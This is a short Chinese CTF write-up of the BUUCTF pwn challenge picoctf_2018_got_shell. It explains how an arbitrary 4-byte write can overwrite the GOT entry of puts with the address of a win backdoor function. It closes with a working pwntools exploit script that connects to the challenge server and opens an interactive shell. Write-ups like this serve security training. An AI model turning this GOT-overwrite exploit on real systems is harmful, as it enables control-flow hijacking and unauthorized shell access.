[BUUCTF-pwn]——picoctf_2018_got_shell
- 题目地址:https://buuoj.cn/challenges#picoctf_2018_got_shell
- 题目:
还是先checksec查看一下,32位程序。
IDA中看看,竟然有后门函数win。
思路
程序中没有栈溢出,也没有格式化字符串漏洞和堆漏洞。
那么我们就可以考虑一下逻辑的漏洞
我们看到v3是一个指针,我们可以向里面写地址(%x是以十六进制读入),然后我们也可以向v4里面写入地址。并且我们可以看到*v3 = v4这个操作。意味着我们可以将我们第二次输入的地址,写入第一次输入的地址中。
是不是想到了什么。.got表
我们看到该语句下面还有puts函数执行,那么我们就可以将v3写成puts got表的地址,将v4写成win函数的地址。这样就可以在调用puts函数时,实际调用 win函数了
exploit
from pwn import *
p=remote('node3.buuoj.cn',25901)
elf=ELF('./PicoCTF_2018_got-shell ')
puts_got=elf.got['puts']
win_addr=0x0804854B
p.sendlineafter("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?", hex(puts_got))
p.recv()
p.sendline(hex(win_addr))
p.interactive()
原创不易,希望可以打赏支持一下。
感谢各位金主爸爸了 😉